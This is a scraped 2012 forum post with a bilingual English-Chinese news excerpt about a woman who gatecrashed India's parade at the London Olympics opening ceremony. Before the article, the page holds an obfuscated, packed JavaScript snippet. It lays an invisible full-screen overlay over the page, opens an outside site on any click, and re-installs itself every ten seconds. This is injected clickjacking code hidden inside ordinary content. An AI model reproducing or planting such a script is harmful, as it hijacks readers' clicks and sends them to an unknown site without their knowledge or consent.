标题: 伦敦奥运囧闻汇总：大英帝国是在用生命演喜剧！【双语】 [打印本页] 作者: out000 时间: 2012-8-8 17:04 标题: 伦敦奥运囧闻汇总：大英帝国是在用生命演喜剧！【双语】 <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>A woman who gatecrashed India's parade at the Olympic opening ceremony was a member of the cast from the extravaganza but should not have been with the athletes, London 2012 chief Sebastian Coe said on Sunday.
伦敦奥组委主席塞巴斯蒂安·柯在上周日表示，在奥运会开幕式上混入印度代表团中的神秘女子不是运动员，只是一名热情的观众。
Indian officials were incensed by her unauthorised presence alongside flag-bearing wrestler Sushil Kumar on Friday, wearing red and blue in complete contrast to female members of the contingent who were sporting yellow saris and blue blazers.
印度代表团的官员们表示受到了侮辱。这名身穿红色上衣、蓝裤子的女子走在印度代表团的旗手摔跤选手库玛的旁边，和代表团身穿蓝色上衣、黄色纱丽的印度女运动员形成鲜明的对比。
